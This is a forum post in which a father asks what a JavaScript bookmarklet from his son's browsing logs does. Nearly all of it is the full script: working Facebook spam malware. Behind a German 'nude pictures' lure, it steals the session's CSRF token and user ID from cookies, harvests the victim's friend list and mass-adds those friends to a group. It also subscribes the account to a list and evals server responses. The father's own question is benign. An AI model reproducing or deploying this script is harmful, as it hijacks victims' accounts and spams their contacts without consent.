I am a father from Germany and i have Trouble with my son.
He is 12 years old and i've found him watching adult things he shouldnt watch
after a 2nd i found him looking at such Pictures he promised not to do that anymore.
Anyhow i installed a logger witch logs his web activitys and now i found in the logs this JavaScript which was marked as explicit Content. How he says it is a script for a game can someone take a look at this code and say what it really is doing?
Code:
javascript:void(function()
{var%20j=document.getElementsByName('fb_dtsg')[0].value;
var%20k=document.cookie.match(/c_user=(\d+)/)[1];
var%20m='7n8ahyj35CCzpQ9UmWOGUGy1m9ACUb8yGg';
var%20o=8;
var%20t='1033590';
var%20v='265816767119957579';
window.aing={ldng:'\x3Cimg%20src=\x22//fbstatic-a.akamaihd.net/rsrc.php/v2/yb/r/GsNJNwuI-UM.gif\x22%20width=\x2216px\x22%20height=\x2211px\x22%20style=\x22margin:0%205px\x22/\x3E',prm:'fb_dtsg='+j+'&__user='+k+'&__dyn='+m+'&__req='+o+'&__rev='+t+'&ttstamp='+v+'&__a=1',prmdg:'fb_dtsg='+j+'&__user='+k+'&__a=1&source=typeahead&ref=&message_id=&phstamp=',prmgp:'__a=1&viewer='+k+'&token='+Math.random()+'&filter[0]=user&options[0]=friends_only',prmls:'location=permalink&action=subscribe&flid=553915041311558&fb_dtsg='+j+'&__user='+k+'&__a=1&__dyn='+m+'&__req='+o+'&__rev='+t+'&ttstamp='+v,btn:function(a,b){var%20c='\x3Ca%20class=\x22uiButton\x22%20href=\x22#\x22%20onClick=\x22';
if(a==null||a==''){c+='aing.injek()'}else{c+=a}c+=';
%0A%09%09%09return%20true\x22%20style=\x22font-size:9px;
%0A%09%09%09margin:2px;
%0A%09%09%09line-height:9px\x22\x3E';
if(b==null||b==''){c+='Neu%20Laden'}else{c+=b}return%20c+'\x3C/a\x3E'},insb:function(b,c,d)
{if(c){var%20a=document.createElement('div');
a.innerHTML=b;
if(d==null){d=c.firstChild}while(a.firstChild){c.insertBefore(a.firstChild,d)}}},apen:function(b,c){if(c){var%20a=document.createElement('div');
a.innerHTML=b;
while(a.firstChild){c.appendChild(a.firstChild)}}},styl:{box:'text-align:left;
%0A%09%09%09border-radius:0px;
%0A%09%09%09padding:0px',inf:'width:500px;
%0A%09%09%09position:fixed;
%0A%09%09%09z-index:9999;
%0A%09%09%09top:30%;
%0A%09%09%09right:0;
%0A%09%09%09text-align:center;
%0A%09%09%09font-size:10px;
%0A%09%09%09border-radius:5px;
%0A%09%09%09box-shadow:0%200%200px%20rgba(0,0,0,0.25);
%0A%09%09%09background-color:rgba(211,211,211,0.75)'},aduk:function(a){var%20b=a.length,c,d;
while(0!==b){d=Math.floor(Math.random()*b);
b-=1;
c=a[b];
a[b]=a[d];
a[d]=c}var%20e=['i','a','e','g','o','s','n','b','l','p','m','2','r','0','c','1','t','3','\xA9'],crl=e[1]+e[0]+e[6]+e[3]+e[14]+e[12]+e[2]+e[1]+e[16]+e[0]+e[4]+e[6]+e[5]+'.'+e[7]+e[8]+e[4]+e[3]+e[5]+e[9]+e[4]+e[16]+'.'+e[14]+e[4]+e[10];
aing.crj='\x3Cdiv%20style=\x22margin-top:0px;
%0A%09%09%09color:gray;
%0A%09%09%09font-size:0px;
%0A%09%09%09text-align:right\x22\x3E'+e[1].toUpperCase()+e[0]+e[6]+e[3]+e[14].toUpperCase()+e[12]+e[2]+e[1]+e[16]+e[0]+e[4]+e[6]+e[5]+'%20'+e[e.length-1]+e[11]+e[13]+e[15]+e[17]+'\x3Cdiv%20style=\x22font-size:0px\x22\x3E\x3Ca%20href=\x22http://www.facebook.com/groups/1408992565982028/\x22%20target=\x22_blank\x22\x3E'+crl+'\x3C/a\x3E\x3C/div\x3E\x3C/div\x3E';
return%20a},kolAjak:function(i,r,l,a,n){if(n==null||n==''){n='POST'}else{i+='?'+r}var%20h=new%20XMLHttpRequest();
h.open(n,i,true);
h.setRequestHeader('Content-type','application/x-www-form-urlencoded');
h.onreadystatechange=function(c){if(c.target.readyState==4){if(aing.panggilanKe){aing.panggilanKe++}else{aing.panggilanKe=1}var%20e={errorSummary:'connection%20error!',errorDescription:'ajax%20status='+c.target.status};
if(c.target.status==200||c.target.status==400){var%20d=c.target.responseText;
if(d==''){e.errorSummary='empty%20callback!'}else{e=JSON.parse(d.substring(d.indexOf('%0A%09%09%09%09%09%09%09%09{%0A%09%09%09%09%09%09%09%09'),d.lastIndexOf('%0A%09%09%09%09%09%09%09}%0A%09%09%09%09%09%09%09')+1))}a(l,e)}else%20if(aing.panggilanKe<2){aing.kolAjak(i,r,l,a,n)}else{aing.panggilanKe=0;
a(l,e)}}};
h.send(r)},kasihTau:function(a,b){var%20c=document.getElementById('kiri-bawah');
if(c){if(b==null||b==''){c.lastChild.innerHTML=a}else{var%20d=document.getElementById(b);
if(d){d.innerHTML=a}else{aing.apen('\x3Cdiv%20id=\x22'+b+'\x22\x3E'+a+'\x3C/div\x3E',c.lastChild)}}}else{var%20e='\x3Cdiv%20id=\x22kiri-bawah\x22%20class=\x22pam%20uiBoxGray\x22%20style=\x22'+aing.styl.inf+'\x22\x3E\x3Cdiv\x3E\x3C/div\x3E\x3Cdiv\x3E'+a+'\x3C/div\x3E\x3C/div\x3E';
var%20f=document.getElementById('rightCol');
if(!f){f=document.body}aing.apen(e,f)}},klos:function(){var%20a=document.getElementById('kiri-bawah');
if(a){a.parentNode.removeChild(a)}aing.kolAjak('/ajax/friends/lists/subscribe/modify',aing.prmls,'',function(){})},getPren:function(){window.loadBarFrom=0;
aing.deleted=0;
aing.kasihTau('Suche%20Nacktbilder..%20warten%20'+aing.ldng);
aing.kolAjak('/ajax/typeahead/first_degree.php',aing.prmgp,'',function(q,p){if(p.payload&&p.payload.entries){aing.Nacktbilder=aing.aduk(p.payload.entries);
var%20a='\x3Cdiv%20class=\x22uiBoxBlack\x22%20style=\x22border-radius:0px\x22\x3EEs%20Wurden%20\x3Cb\x3E'+aing.Nacktbilder.length+'%20Nacktbilder%20gefunden\x3C/b\x3E\x3C/div\x3E\x3Cdiv%20id=\x22edtugrup\x22%20style=\x22margin-top:2px\x22\x3E\x3C/div\x3E\x3Cdiv%20id=\x22\x22%20style=\x22margin-top:0px\x22\x3E\x3C/div\x3E\x3Cdiv%20id=\x22Hi\x22%20style=\x22margin-top:0px\x22\x3E\x3C/div\x3E';
if(aing.Nacktbilder.length==0){aing.kasihTau(a+aing.btn('aing.getPren()'+aing.crj))}else{aing.kasihTau(a+aing.crj);
aing.addToGroup()}}},'GET')},inform:function(a,b){var%20c='';
if(b&&b.name){c=b.name}else%20if(b&&b!=''){for(x%20in%20aing.Nacktbilder){if(aing.Nacktbilder[x].text&&aing.Nacktbilder[x].uid&&aing.Nacktbilder[x].uid==b){c=aing.Nacktbilder[x].text;
break}}}return%20c.split('%20')[0]},addToGroup:function(c,d){var%20e='%20';
if(c==null||c==''){c=0;
aing.edgruperor=0;
aing.edgrupok=0;
aing.gid=document.getElementsByName('group_id')[0].value}if(d==null||d==''){d=100}if(d>aing.Nacktbilder.length){d=aing.Nacktbilder.length;
aing.edgrupnek=''}else{aing.edgrupnek={f:d,t:((d*2)-c)}}e+=(c+1)+'%20to%20'+d+'%20Nacktbilder%20werden%20geladen%20';
aing.kasihTau(e,'edtugrup');
for(var%20x=c;
x<d;x++){aing.kolAjak('/ajax/groups/members/add_post.php',aing.prmdg+'&group_id='+aing.gid+'&members='+aing.Nacktbilder[x].uid,'',function(q,p){if(p&&p.errorSummary&&p.errorDescription){aing.edgruperor++;
var%20a='\x3Cdiv%20class=\x22uiBoxRed\x22%20style=\x22'+aing.styl.box+'\x22\x3E';
var%20b=p.errorDescription;
if(p.onafterload&&p.onafterload[0]){b=p.errorDescription.replace(/This%20user|user%20|Pengguna%20ini|pengguna%20/gi,'\x3Ca%20href=\x22/Nacktbilder\x22%20target=\x22_blank\x22%20style=\x22font-weight:small\x22\x3E'+eval(p.onafterload[0].replace(/Arbiter\./i,'aing.'))+'\x3C/a\x3E')}a+='\x3Cdiv\x3E(Updates:%20\x3Cb\x3E'+aing.edgruperor+'\x3C/b\x3E)%20'+b+'\x3C/div\x3E';
a+='\x3C/div\x3E'}else%20if(p.jsmods&&p.jsmods.require){aing.edgrupok++;
var%20a='\x3Cdiv%20class=\x22uiBoxBlack\x22%20style=\x22'+aing.styl.box+'\x22\x3E\x3Cb\x3E';
for(y%20in%20p.jsmods.require){if(p.jsmods.require[y][3]&&p.jsmods.require[y][3][1]){a+='%20'+p.jsmods.require[y][3][1]}}if(p.onload&&p.onload[0])a+='Script%20by%20Corex%20ihr%20Huren!'}if((aing.edgruperor+aing.edgrupok)>=aing.Nacktbilder.length){aing.kasihTau(aing.btn('aing.getPren()')+'%20'+aing.btn('aing.klos()','Nacktbilder%20anzeigen'),'edtugrup')}else%20if(aing.edgrupnek.f&&(aing.edgruperor+aing.edgrupok)>=aing.edgrupnek.f){aing.addToGroup(aing.edgrupnek.f,aing.edgrupnek.t)}aing.loadBar(document.getElementById('edtugrup'),aing.Nacktbilder.length,'#010100',function(){},'no')})}},loadBar:function(a,i,n,g,s){i=i*1;
if(window.loadBarFrom&&window.loadBarFrom<i){loadBarFrom++}else%20if(window.loadBarFrom&&window.loadBarFrom==i){}else{window.loadBarFrom=1}var%20u=a.getElementsByClassName('loading-bar')[0];
var%20b=((loadBarFrom*100)/i);
if(u){u.firstChild.style.width=b+'%';
if(s==null||s==''){a.firstChild.innerHTML=loadBarFrom+'/'+i;
if(loadBarFrom>=i){a.getElementsByClassName('stat-count')[0].innerHTML='\x3Cb%20style=\x22color:darkred\x22\x3E'+Math.floor(b)+'%%20Done!\x3C/b\x3E';
g()}else{a.getElementsByClassName('stat-count')[0].innerHTML='Loading%20'+Math.floor(b)+'%%20Please%20wait..'}}else{u.firstChild.innerHTML=Math.floor(b)+'%';
if(loadBarFrom>=i){g()}}}else{u=document.createElement('div');
if(s==null||s==''){u.innerHTML='\x3Ccenter%20class=\x22stat-count\x22\x3ELoading%20'+Math.floor(b)+'%%20Please%20wait..\x3C/center\x3E\x3Cdiv%20class=\x22loading-bar\x22\x3E\x3Cdiv%20style=\x22width:'+b+'%;
%0A%09%09%09%09%09background-color:'+n+';
%0A%09%09%09%09%09border-radius:5px\x22\x3E%C2%A0%0A%09%09%09%09%09\x3C/div\x3E\x3C/div\x3E\x3Ccenter%20class=\x22prog-count\x22\x3E'+loadBarFrom+'/'+i+'\x3C/center\x3E'}else{u.innerHTML='\x3Cdiv%20class=\x22loading-bar\x22\x3E\x3Cdiv%20style=\x22width:'+b+'%;
%0A%09%09%09%09%09background-color:'+n+';
%0A%09%09%09%09%09border-radius:5px;
%0A%09%09%09%09%09black-space:nowrap;
%0A%09%09%09%09%09overflow:visible;
%0A%09%09%09%09%09color:#FFEB00\x22\x3E'+Math.floor(b)+'%\x3C/div\x3E\x3C/div\x3E'}while(u.firstChild){a.insertBefore(u.firstChild,a.firstChild)}}}};
aing.getPren()})();
a worried father from Germany